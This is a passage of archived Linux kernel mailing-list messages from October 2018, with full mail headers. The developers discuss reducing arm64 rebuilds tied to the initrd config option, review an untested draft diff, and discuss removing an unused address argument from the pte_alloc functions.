Xref: news.gmane.org gmane.linux.kernel:2908567 gmane.linux.ports.alpha:5377 gmane.linux.kernel.arc:4621 gmane.linux.ports.arm.kernel:681537 gmane.linux.ports.hexagon:1961 gmane.linux.ports.ia64:29447 gmane.linux.ports.mips.general:67192 gmane.linux.ports.parisc:29248 gmane.linux.ports.ppc64.devel:164931 gmane.linux.ports.riscv:1223 gmane.linux.ports.sh.devel:57695 gmane.linux.ports.sparc:28669 gmane.linux.drivers.devicetree:294517 gmane.linux.kernel.cross-arch:48100
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2908567>

On Thu, Oct 25, 2018 at 04:13:10PM -0500, Rob Herring wrote:
> On Thu, Oct 25, 2018 at 12:30 PM Mike Rapoport <rppt@linux.ibm.com> wrote:
> >
> > On Thu, Oct 25, 2018 at 08:15:15AM -0500, Rob Herring wrote:
> > > +Ard
> > >
> > > On Thu, Oct 25, 2018 at 4:38 AM Mike Rapoport <rppt@linux.ibm.com> wrote:
> > > >
> > > > On Wed, Oct 24, 2018 at 02:55:17PM -0500, Rob Herring wrote:
> > > > > On Wed, Oct 24, 2018 at 2:33 PM Florian Fainelli <f.fainelli@gmail.com> wrote:
> > > > > >
> > > > > > Hi all,
> > > > > >
> > > > > > While investigating why ARM64 required a ton of objects to be rebuilt
> > > > > > when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
> > > > > > because we define __early_init_dt_declare_initrd() differently and we do
> > > > > > that in arch/arm64/include/asm/memory.h which gets included by a fair
> > > > > > amount of other header files, and translation units as well.
> > > > >
> > > > > I scratch my head sometimes as to why some config options rebuild so
> > > > > much stuff. One down, ? to go. :)
> > > > >
> > > > > > Changing the value of CONFIG_DEV_BLK_INITRD is a common thing with build
> > > > > > systems that generate two kernels: one with the initramfs and one
> > > > > > without. buildroot is one of these build systems, OpenWrt is also
> > > > > > another one that does this.
> > > > > >
> > > > > > This patch series proposes adding an empty initrd.h to satisfy the need
> > > > > > for drivers/of/fdt.c to unconditionally include that file, and moves the
> > > > > > custom __early_init_dt_declare_initrd() definition away from
> > > > > > asm/memory.h
> > > > > >
> > > > > > This cuts the number of objects rebuilds from 1920 down to 26, so a
> > > > > > factor 73 approximately.
> > > > > >
> > > > > > Apologies for the long CC list, please let me know how you would go
> > > > > > about merging that and if another approach would be preferable, e.g:
> > > > > > introducing a CONFIG_ARCH_INITRD_BELOW_START_OK Kconfig option or
> > > > > > something like that.
> > > > >
> > > > > There may be a better way as of 4.20 because bootmem is now gone and
> > > > > only memblock is used. This should unify what each arch needs to do
> > > > > with initrd early. We need the physical address early for memblock
> > > > > reserving. Then later on we need the virtual address to access the
> > > > > initrd. Perhaps we should just change initrd_start and initrd_end to
> > > > > physical addresses (or add 2 new variables would be less invasive and
> > > > > allow for different translation than __va()). The sanity checks and
> > > > > memblock reserve could also perhaps be moved to a common location.
> > > > >
> > > > > Alternatively, given arm64 is the only oddball, I'd be fine with an
> > > > > "if (IS_ENABLED(CONFIG_ARM64))" condition in the default
> > > > > __early_init_dt_declare_initrd as long as we have a path to removing
> > > > > it like the above option.
> > > >
> > > > I think arm64 does not have to redefine __early_init_dt_declare_initrd().
> > > > Something like this might be just all we need (completely untested,
> > > > probably it won't even compile):
> > > >
> > > > diff --git a/arch/arm64/mm/init.c b/arch/arm64/mm/init.c
> > > > index 9d9582c..e9ca238 100644
> > > > --- a/arch/arm64/mm/init.c
> > > > +++ b/arch/arm64/mm/init.c
> > > > @@ -62,6 +62,9 @@ s64 memstart_addr __ro_after_init = -1;
> > > >  phys_addr_t arm64_dma_phys_limit __ro_after_init;
> > > >
> > > >  #ifdef CONFIG_BLK_DEV_INITRD
> > > > +
> > > > +static phys_addr_t initrd_start_phys, initrd_end_phys;
> > > > +
> > > >  static int __init early_initrd(char *p)
> > > >  {
> > > >         unsigned long start, size;
> > > > @@ -71,8 +74,8 @@ static int __init early_initrd(char *p)
> > > >         if (*endp == ',') {
> > > >                 size = memparse(endp + 1, NULL);
> > > >
> > > > -               initrd_start = start;
> > > > -               initrd_end = start + size;
> > > > +               initrd_start_phys = start;
> > > > +               initrd_end_phys = end;
> > > >         }
> > > >         return 0;
> > > >  }
> > > > @@ -407,14 +410,27 @@ void __init arm64_memblock_init(void)
> > > >                 memblock_add(__pa_symbol(_text), (u64)(_end - _text));
> > > >         }
> > > >
> > > > -       if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) && initrd_start) {
> > > > +       if (IS_ENABLED(CONFIG_BLK_DEV_INITRD) &&
> > > > +           (initrd_start || initrd_start_phys)) {
> > > > +               /*
> > > > +                * FIXME: ensure proper precendence between
> > > > +                * early_initrd and DT when both are present
> > >
> > > Command line takes precedence, so just reverse the order.
> > >
> > > > +                */
> > > > +               if (initrd_start) {
> > > > +                       initrd_start_phys = __phys_to_virt(initrd_start);
> > > > +                       initrd_end_phys = __phys_to_virt(initrd_end);
> 
> BTW, I think you meant virt_to_phys() here?

Right, and then there is no problem at all do the conversion here :)
 
> > >
> > > AIUI, the original issue was doing the P2V translation was happening
> > > too early and the VA could be wrong if the linear range is adjusted.
> > > So I don't think this would work.
> >
> > Probably things have changed since then, but in the current code there is
> >
> >                 initrd_start = __phys_to_virt(initrd_start);
> >
> > and in between only the code related to CONFIG_RANDOMIZE_BASE, so I believe
> > it's safe to use __phys_to_virt() here as well.
> 
> Here is fine yes, but I believe it was the the phys to virt in the DT
> code before adjusting the linear range that was the problem.
> 
> Rob
> 

-- 
Sincerely yours,
Mike.



From - Thu Nov 08 21:42:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/4] treewide: remove unused address argument from
 pte_alloc functions (v2)
Date: Fri, 26 Oct 2018 10:52:02 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20181026085202.GC3109@worktop.c.hoisthospitality.com>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-2-joel@joelfernandes.org>
 <20181024083716.GN3109@worktop.c.hoisthospitality.com>
 <20181025022119.GC13560@joelaf.mtv.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540543839 23601 195.159.176.226 (26 Oct 2018 08:50:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Oct 2018 08:50:39 +0000 (UTC)
User-Agent: Mutt/1.5.22.1 (2013-10-16)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m
To: Joel Fernandes <joel@joelfernandes.org>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 26 10:50:29 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gFxp4-0005v5-W4
	for glpr-linux-riscv@m.gmane.org; Fri, 26 Oct 2018 10:50:27 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=7QO47gwGNYRYmDxmabBe3Vpr76cakKR1XHrna9n79fk=; b=l0GeRHFCtza9mb
	Ti6KcJbhtDv/B2P4KvC2CuR3yg8qwrvA24sLXXsG5a7SpbPy7Z3vHxeqnZ03zp2DmWyh0yezv0ccc
	P/XkmSAVG+I6rtNFexLNolKIIy6VslKnrcpQJvBL/vsM/WFFSXck9HOUVuW/2ot0DSUP0lDaImvr/
	na0G8PU0EKxG+LYW1iXJlcDSol3TNeLZ2A75uYLxHp6l9eLbF0sfSyxkXixD3+C5HW0gCxNohF6xc
	Yf9oqEOYJOSpVW7F0IaCRkPLNNkosXbIn/2ZbGn6joCeLOTkS53E6YbMX3FqzeN2ukAQpm5a/FSei
	T5t5HbKK8WRGQ3cqAIag==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gFxr7-0004Mi-H3; Fri, 26 Oct 2018 08:52:33 +0000
Original-Received: from merlin.infradead.org ([2001:8b0:10b:1231::1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFxr1-0004Jz-W0; Fri, 26 Oct 2018 08:52:28 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=merlin.20170209; h=In-Reply-To:Content-Type:MIME-Version:
 References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=pbk9Jp4NpLV5KhCv2GieE6eo6VugTGuTfEvdAP/DTOU=; b=ucA2s1NEduQA2HG6o8PHl9GX1
 1c9iAfHE+3hqIl/VOcrEC4U61PEkSMe2UlNY8ypIaHjQM2VFqPCLJW1X9TyB3wWuCgKbVPigZk0cL
 8xXH3vrCr+QLGW8A+8M1aJInEB7Ent4aKqtrYwIq3zSx2xpx4WErOiYwf+CUPAYBaTROX2LN6wtam
 SO+PDPDdJ9gkMza75ER7YzuuEE9Nbr1grRJK7p7fXgBxca+Uj29aAUjQiybM8sVWM4X51T4/vAu3t
 jGJE+MJ5H5/n+ZlZg0mYiuiT+wrbdPBImX4VY03B6CnjBGen3lPKGeN206IfOOZzbJStVnZtSqh8h
 j/PfTfURA==;
Original-Received: from [167.98.65.38] (helo=worktop)
 by merlin.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFxqe-000103-2S; Fri, 26 Oct 2018 08:52:04 +0000
Original-Received: by worktop (Postfix, from userid 1000)
 id A96EE6E07CA; Fri, 26 Oct 2018 10:52:02 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20181025022119.GC13560@joelaf.mtv.corp.google.com>
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1224 gmane.linux.ports.mips.general:67193 gmane.linux.ports.ia64:29448 gmane.linux.ports.sh.devel:57696 gmane.linux.kernel.mm:206030 gmane.linux.ports.sparc:28670 gmane.comp.emulators.kvm.arm.devel:19596 gmane.linux.ports.hexagon:1962 gmane.linux.kernel.arc:4622 gmane.linux.ports.parisc:29249 gmane.linux.kernel:2908589 gmane.linux.ports.alpha:5378 gmane.linux.ports.ppc64.devel:164933
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1224>

On Wed, Oct 24, 2018 at 07:21:19PM -0700, Joel Fernandes wrote:
> On Wed, Oct 24, 2018 at 10:37:16AM +0200, Peter Zijlstra wrote:
> > On Fri, Oct 12, 2018 at 06:31:57PM -0700, Joel Fernandes (Google) wrote:
> > > This series speeds up mremap(2) syscall by copying page tables at the
> > > PMD level even for non-THP systems. There is concern that the extra
> > > 'address' argument that mremap passes to pte_alloc may do something
> > > subtle architecture related in the future that may make the scheme not
> > > work.  Also we find that there is no point in passing the 'address' to
> > > pte_alloc since its unused. So this patch therefore removes this
> > > argument tree-wide resulting in a nice negative diff as well. Also
> > > ensuring along the way that the enabled architectures do not do anything
> > > funky with 'address' argument that goes unnoticed by the optimization.
> > 
> > Did you happen to look at the history of where that address argument
> > came from? -- just being curious here. ISTR something vague about
> > architectures having different paging structure for different memory
> > ranges.
> 
> I didn't happen to do that analysis but from code analysis, no architecutre
> is using it. Since its unused in the kernel, may be such architectures don't
> exist or were removed, so we don't need to bother? Could you share more about
> your concern with the removal of this argument?

No concerns at all with removing it; I was purely curious as to the
origin of the unused argument. Kirill provided that answer.

From - Thu Nov 08 21:42:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/4] treewide: remove unused address argument from
 pte_alloc functions (v2)
Date: Fri, 26 Oct 2018 10:50:47 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20181026085047.GB3109@worktop.c.hoisthospitality.com>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-2-joel@joelfernandes.org>
 <20181024083716.GN3109@worktop.c.hoisthospitality.com>
 <20181025104703.esl6wxyg2ihe4zoc@kshutemo-mobl1>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540544066 7879 195.159.176.226 (26 Oct 2018 08:54:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Oct 2018 08:54:26 +0000 (UTC)
User-Agent: Mutt/1.5.22.1 (2013-10-16)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, kvmarm@lists.cs.columbia.edu,
 dancol@google.com, Yoshinori Sato <ysato@users.sourceforge.jp>,
 sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 Ingo Molna
To: "Kirill A. Shutemov" <kirill@shutemov.name>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Oct 26 10:54:16 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gFxsm-0001sF-4w
	for glpr-linux-riscv@m.gmane.org; Fri, 26 Oct 2018 10:54:16 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=DSGdF6/iMXAfO2LNryt6tw4ux5kPprgiztoremF+SPM=; b=lTogTAIvogh7oR
	uJzuk6mbTmGcS8PCUIUC9SLt0BrKBjBdQwM947mtOq7aQ/nAUk33tqjYb6M/Semj1XcYUrOnbc0IV
	WI9qvlc7c8EFpdiwsjP9bj5UP9Aez7kinRADiptx3phu/ES0svcIma7ndEqeWhRts/EEjqr98wj3W
	HnkfBHwqJhnUs5UWrSinA7kRuyUPZn9Bi4/FwggICpnjBSx2OXuMEoE7+7483DjN2u1EJvJ4Wh9/f
	ixp629Jr1hGktyz9YvaGFEEnoQA8N3WGt6qWA/vpxFlk14i7JwKrL3WscMp/35fNO8/1Kuw4/bdiT
	LtTkISxpS5Rm9olBQUNg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gFxup-0005xs-B9; Fri, 26 Oct 2018 08:56:23 +0000
Original-Received: from merlin.infradead.org ([2001:8b0:10b:1231::1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFxuo-0005xf-Kt; Fri, 26 Oct 2018 08:56:22 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=merlin.20170209; h=In-Reply-To:Content-Type:MIME-Version:
 References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=t4U6dJOCnA0c/EZV0nmuSLy/HD8d4dYO3ZonI67d8Vk=; b=DPhftboxJNVK8gljOSI9ek+lk
 cu0xqt1kC5w7yCxw6Jsznw1tHw2bNfFS/B99G90XrfF2EouGTY+fnjyh2fFe8Ea4pm+LfBzpKsORm
 vHKSHxTajvN1zlzwJSY3IQRIoUSjK9Ks0EaN70/cGAc3V1cVwVubUjQU8B8T3dcCN+Cny2z4IXEkf
 5989+J/lbf4qCCiiXPFuktGNapnha5La8DRY2VrXPeyZAvzLzZFAr0KwXyN2xKeaZefS1TlUOUz9Q
 v3E0AoVoDPrDe463fQg0erQi1phVVaaGU+vviNvYVqHIgoubM4nIzXXBkEBYhhWFO095CIUsfkQj8
 Onm8/N6Lg==;
Original-Received: from [167.98.65.38] (helo=worktop)
 by merlin.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFxuk-00012P-H7; Fri, 26 Oct 2018 08:56:18 +0000
Original-Received: by worktop (Postfix, from userid 1000)
 id 7F67E6E07BE; Fri, 26 Oct 2018 10:50:47 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20181025104703.esl6wxyg2ihe4zoc@kshutemo-mobl1>
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1225 gmane.linux.ports.mips.general:67194 gmane.linux.ports.ia64:29449 gmane.linux.ports.sh.devel:57697 gmane.linux.kernel.mm:206031 gmane.comp.emulators.kvm.arm.devel:19597 gmane.linux.ports.sparc:28671 gmane.linux.ports.hexagon:1963 gmane.linux.kernel.arc:4623 gmane.linux.ports.parisc:29250 gmane.linux.kernel:2908591 gmane.linux.ports.alpha:5379 gmane.linux.ports.ppc64.devel:164934
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1225>

On Thu, Oct 25, 2018 at 01:47:03PM +0300, Kirill A. Shutemov wrote:
> On Wed, Oct 24, 2018 at 10:37:16AM +0200, Peter Zijlstra wrote:
> > On Fri, Oct 12, 2018 at 06:31:57PM -0700, Joel Fernandes (Google) wrote:
> > > This series speeds up mremap(2) syscall by copying page tables at the
> > > PMD level even for non-THP systems. There is concern that the extra
> > > 'address' argument that mremap passes to pte_alloc may do something
> > > subtle architecture related in the future that may make the scheme not
> > > work.  Also we find that there is no point in passing the 'address' to
> > > pte_alloc since its unused. So this patch therefore removes this
> > > argument tree-wide resulting in a nice negative diff as well. Also
> > > ensuring along the way that the enabled architectures do not do anything
> > > funky with 'address' argument that goes unnoticed by the optimization.
> > 
> > Did you happen to look at the history of where that address argument
> > came from? -- just being curious here. ISTR something vague about
> > architectures having different paging structure for different memory
> > ranges.
> 
> I see some archicetures (i.e. sparc and, I believe power) used the address
> for coloring. It's not needed anymore. Page allocator and SL?B are good
> enough now.
> 
> See 3c936465249f ("[SPARC64]: Kill pgtable quicklists and use SLAB.")

Ah, shiny. Thanks.

From - Thu Nov 08 21:42:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 0/2] arm64: Cut rebuild time when changing
 CONFIG_BLK_DEV_INITRD
Date: Fri, 26 Oct 2018 12:07:09 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20181026110708.GA3814@rapoport-lnx>
References: <20181024193256.23734-1-f.fainelli@gmail.com>
 <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
 <20181025093833.GA23607@rapoport-lnx>
 <CAL_JsqL62ttsGSbE1BS5v-mX3pKE-p_HyvuZD6nB+GUbQyetzg@mail.gmail.com>
 <20181025172935.GA27364@rapoport-lnx>
 <CAL_JsqJrMq+QHvuOsqEdCFchmXsd4s2XKUD_TboKzeEQprJvjg@mail.gmail.com>
 <1bb3bd63-a88e-b668-ea36-f0f985c0e2b1@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1540551933 26386 195.159.176.226 (26 Oct 2018 11:05:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Oct 2018 11:05:33 +0000 (UTC)
User-Agent: Mutt/1.5.24 (2015-08-30)
Cc: Rob Herring <robh@kernel.org>,
        Ard Biesheuvel <ard.biesheuvel@linaro.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Arnd Bergmann <arnd@arndb.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Marc Zyngier <marc.zyngier@arm.com>,
        Olof Johansson <olof@lixom.net>, linux-alpha@vger.kernel.org,
        arcml <linux-snps-arc@lists.infradead.org>,
        "moderated list:ARM/FREESCALE IMX / MXC ARM ARCHITECTURE" 
        <linux-arm-kernel@lists.infradead.org>,
        linux-c6x-dev@linux-c6x.org,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org,
        Linux-MIPS <linux-mips
To: Florian Fainelli <f.fainelli@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 26 13:05:26 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFzvi-0006fl-AZ
	for glk-linux-kernel-4@m.gmane.org; Fri, 26 Oct 2018 13:05:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727629AbeJZToO (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 26 Oct 2018 15:44:14 -0400
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]:34998 "EHLO
        mx0a-001b2d01.pphosted.com" rhost-flags-OK-OK-OK-FAIL)
        by vger.kernel.org with ESMTP id S1727417AbeJZToN (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 26 Oct 2018 15:44:13 -0400
Original-Received: from pps.filterd (m0098414.ppops.net [127.0.0.1])
        by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id w9QAxO2H112989
        for <linux-kernel@vger.kernel.org>; Fri, 26 Oct 2018 07:07:33 -0400
Original-Received: from e06smtp01.uk.ibm.com (e06smtp01.uk.ibm.com [195.75.94.97])
        by mx0b-001b2d01.pphosted.com with ESMTP id 2nc116t41e-1
        (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
        for <linux-kernel@vger.kernel.org>; Fri, 26 Oct 2018 07:07:32 -0400
Original-Received: from localhost
        by e06smtp01.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
        for <linux-kernel@vger.kernel.org> from <rppt@linux.ibm.com>;
        Fri, 26 Oct 2018 12:07:29 +0100
Original-Received: from b06cxnps4074.portsmouth.uk.ibm.com (9.149.109.196)
        by e06smtp01.uk.ibm.com (192.168.101.131) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
        (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
        Fri, 26 Oct 2018 12:07:20 +0100
Original-Received: from d06av22.portsmouth.uk.ibm.com (d06av22.portsmouth.uk.ibm.com [9.149.105.58])
        by b06cxnps4074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id w9QB7J2C6947122
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
        Fri, 26 Oct 2018 11:07:19 GMT
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 98C204C04A;
        Fri, 26 Oct 2018 11:07:19 +0000 (GMT)
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id D24C54C040;
        Fri, 26 Oct 2018 11:07:12 +0000 (GMT)
Original-Received: from rapoport-lnx (unknown [9.148.204.79])
